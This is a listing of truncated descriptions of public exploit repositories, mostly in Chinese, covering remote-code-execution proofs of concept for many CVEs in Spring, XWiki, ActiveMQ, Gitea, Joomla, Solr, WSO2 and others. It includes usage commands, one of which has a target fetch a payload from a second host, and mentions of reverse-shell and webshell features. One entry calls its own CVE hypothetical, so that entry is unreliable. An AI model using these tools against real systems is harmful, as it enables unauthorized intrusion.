SSE4-CVE-2022-22965

Spring Boot CVE-2022-22965 基于 Spring Boot 2.6.5 的 CVE-2022-22965 Docker 概念验证（PoC） 快速开始 1. 运行 docker compose up --build 构建并启动易受攻击的应用。 2. 运行 curl -H "Accept: text/html;"...

CVE-2025-24893-XWiki-unauthenticated-RCE-via-SolrSearch

CVE-2025-24893 – XWiki 中未经认证的远程代码执行 0 目录 1. 摘要 2. 漏洞详情 3. 受影响版本 4. 概念验证 4.1 构建载荷 4.2 手动利用 4.3 自动化 Python 利用 5. 缓解措施 6. 致谢与参考 1 摘要 CVE： 2025-24893 组件： SolrSearch 宏（XWiki UI） 严重性： 9.8 / 严重（CVSS 3.1） 攻击向量： 未认证 HTTP GET 影响： 任意 Groovy 执行 → 系统级 RCE（Jetty/Tomcat 用户权限） /xwiki/bin/get/Main/SolrSearch...

CVE-2020-28653

CVE-2020-28653 版本：2016 - 2020（补丁前） 用法： python exploit.py http://vuln-web.com...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow 是一个业务转型平台，帮助企业管理工作流程的数字化运营。 CVE-2024-4879 可能允许未经身份验证的用户在 Now Platform 中远程执行代码。该漏洞通过串联利用三个问题：标题注入、模板注入绕过和文件系统过滤器绕过，来访问 ServiceNow 数据。 受影响版本包括 Vancouver、Washington DC Now 和 Utah 平台版本。 使用方法： python3 exploit.py -i 使用示例： python3 exploit.py -i 127.0.0.1...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

项目参考 本项目是参考 https://github.com/X1r0z/ActiveMQ-RCE 项目的 exp 来重写的一个 python 版本的 exp 。 用法 python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 其中 -p 参数默认为 activeMQ 的默认端口。-x 参数注意需要加上协议的前缀。 介绍 这里附上 openwire 协议的图示就很明白了。 下面给出的是 Throwable 类型的数据包格式。 具体的漏洞分析见下面的参考文章。 参考文章...

CVE-2024-47051

概述 对上传文件的内容、类型和扩展名的清理不当，允许经过身份验证的攻击者在 Web 目录中写入任意 PHP 代码，并定位该文件的写入位置。这导致远程代码执行。 路径遍历还允许利用此功能递归删除 Web 用户有权修改的文件系统上的任何目录。 详情 - RCE 当通过路由 /assets/view/assetID 编辑资产时，可以更改资产的文件。 上传新文件最终会调用 app/Bundles/AssetBundle/Controller/AssetController.php 中的以下函数： public function editActionRequest $request,...

CVE-2025-1094-PoC-Postgre-SQLi

CVE-2025-1094 分析与模拟环境搭建 本详细分析于2025年3月14日进行，探讨了CVE-2025-1094（一个假设的高危PostgreSQL SQL注入漏洞），基于提供的模拟环境搭建和概念验证（PoC）执行。分析涵盖了漏洞介绍、根本原因、文件贡献、PoC步骤及缓解措施，并整合了模拟过程中的所有复杂细节。 漏洞介绍 CVE-2025-1094被描述为PostgreSQL中的一个严重SQL注入漏洞，影响17.3、16.7、15.11、14.16和13.19之前的版本，CVSS...

CVE-2020-14144-GiTea-git-hooks-rce

CVE-2020-14144 - GiTea 认证远程代码执行（RCE） 一个利用 CVE-2020-14144（GiTea 认证远程代码执行）的脚本，通过 Git 钩子实现攻击 功能特性 从 IP 和端口自动生成反向 Shell 载荷 使用 -f 选项上传自定义 Shell 脚本并在远程执行 使用用户名和密码自动登录 用法 $ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h / | CVE-2020-14144 | | | | | | | | | | |/ / | Authenticated Remote Code Execution | || |...

CVE-2024-0757-Exploit

CVE-2024-0757 漏洞利用 描述 WordPress 的 Insert or Embed Articulate Content into WordPress 插件在 4.3000000023 及之前的所有版本中，由于对 zip 压缩包中的文件上传处理不安全，因此存在任意文件上传漏洞。这使得未经验证的攻击者能够在受影响站点的服务器上上传包含 phar 文件的 zip 文件，从而有可能实现远程代码执行。 !IMPORTANT CVSS: 8.8（高危） CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 软件类型: 插件 软件标识:...

pinky

Subir una webshell es casi siempre el siguiente paso después de explotar una vulnerabilidad web, pero servicios como Cloudflare y la nueva generación de firewalls hacen un muy buen trabajo impidiendo que los atacantes ejecuten comandos en el objetivo a través de HTTP o HTTPS. Por otro lado, el...

CVE-2021-44827

CVE-2021-44827 CVE-2021-44827的PoC - Tp-link Archer C20i中的认证远程代码执行 文章：https://full-disclosure.eu/reports/2022/CVE-2021-44827-tplink-authenticated-remote-code-execution.html 示例 $ python exploit.py error0 error0 Run postexploitcmd Trying 192.168.0.1... Connected to 192.168.0.1 Escape character is '^...

Joomla_CVE-2015-8562

JoomlaCVE-2015-8562 Joomla CVE-2015-8562 漏洞的概念验证（对象注入远程代码执行） 简介/变更日志 该 PoC 是托管在 exploit-db 上的实现的第二个版本。 -修复（重新生成会话） -添加了从 X-Forwarded-For 切换到 User-Agent 方法的选项 -添加了从 Python 反向 shell 切换到 bash 的选项 -添加了对缺少 http 架构和脚本终止异常的捕获 -为更好的使用体验、更好的消息和颜色进行了编辑 -TODO: 添加 msf 支持 如何使用 git clone...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708 扫描器 PoC，作者 @JaGoTu 和 @zerosum0x0。 本仓库内容 这是 rdesktop 的一个扫描分支，用于检测主机是否存在 CVE-2019-0708 Microsoft Windows 远程桌面服务远程代码执行漏洞 的风险。 它不会导致拒绝服务，但对于历年来所有受影响的 RDP 协议栈版本，并无 100% 的保证。 此外还有一个 Metasploit 模块，目前仍在开发中（MSF 没有 RDP 库）。 构建 提供预编译的二进制文件，但从源码构建的步骤如下： git clone...

ApacheSolrRCE

项目声明 只用于信息安全教学交流，请勿用于非法测试和攻击。 ApacheSolrRCE ApacheSolrRCE（CVE-2019-0193）一键写shell，原理是通过代码执行的java文件流写的马。 注：作者本人比较菜，如果你有bug或者有别的需求，请自行下载代码修改。 工具说明 由于互联网上流传的payload都是命令执行，且不方便上webshell，因此写了这段payload（回显123456时，代表写入成功）。 注：工具只能辅助测试，如果工具写不进去，建议手写。 工具用法 先点检测，获得core，并且判断有没有漏洞。 在点击getshell即可。...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script Un script de exploit simple y breve para la vulnerabilidad RCE autenticada CVE-2012-2982 en el endpoint /file/show.cgi/bin. Webmin RCE Exploit — CVE-2012-2982 Este repositorio contiene un proof-of-concept en Python para Webmin 🧠 Notas El payload por defecto es una...

rsfiles-CVE-2026-57827

CVE-2026-57827 — RSFiles! Subida de archivos sin autenticación → RCE Aviso legal: solo uso autorizado. Esto es una prueba de concepto para investigación de seguridad y pruebas defensivas. Eres responsable de usarlo solo en sistemas que te pertenezcan o para los que tengas permiso explícito por...

FOXCMS-CVE-2025-29306-POC

FOXCMS 参数注入 RCE – CVE-2025-29306 本仓库包含一个基于 Python 的 PoC，可复现影响 FOXCMS v1.2（一款中文开源内容管理系统）的远程代码执行（RCE）漏洞。 CVE 编号：CVE-2025-29306 影响版本：FOXCMS v1.2 类型：服务参数注入 → 代码执行 漏洞概述 FOXCMS 在 /images/index.html 端点的 id 参数中使用了不安全的参数解析机制。攻击者可利用 $@print 表达式注入载荷，从而导致 PHP 代码执行。 PoC 使用方法 环境要求 Python 3.x requests 库 pip...

SAP_EEM_CVE-2020-6207

CVE-2020-6207 的 PoC（SAP Solution Manager 中缺失认证检查） 此脚本用于检查并利用 SAP EEM Servlet（tcsmdagentapplicationeem）中的认证缺失漏洞，该漏洞可导致连接到 SAP Solution Manager 的 SAP SMDAgent 远程代码执行（RCE）。 原始发现者： Pablo Artuso Yvan 'iggy' G 论文：An Unauthenticated Journey to Root :Pwning Your Company's Enterprise Software Servers...

CVE-2017-1000486

CVE-2017-1000486 PrimeFaces 5.x EL表达式注入（CVE-2017-1000486）的概念验证利用工具，可用于在目标上实现远程代码执行。 漏洞描述 你可以在 Minded Security 博客 上找到关于该漏洞的精彩描述。 使用方法 该利用工具提供了一个帮助函数，可打印所有重要参数： ./primefaces.py --help PrimeFaces 5.x EL injection exploit CVE-2017-1000486 by MOGWAI LABS...

CVE-2022-29464

CVE-2022-29464 WSO2 RCE（CVE-2022-29464）漏洞利用与详细说明。 详细信息 CVE-2022-29464 是由 Orange Tsai 发现的 WSO2 关键漏洞。该漏洞是一个未经认证的无限制任意文件上传漏洞，允许未经身份验证的攻击者通过上传恶意 JSP 文件在 WSO2 服务器上实现远程代码执行（RCE）。 存在漏洞的上传路由为 /fileupload，由 FileUploadServlet servlet 处理。从 indentity.xml 配置文件中可以看出，该路由未受 IAM 保护：xml...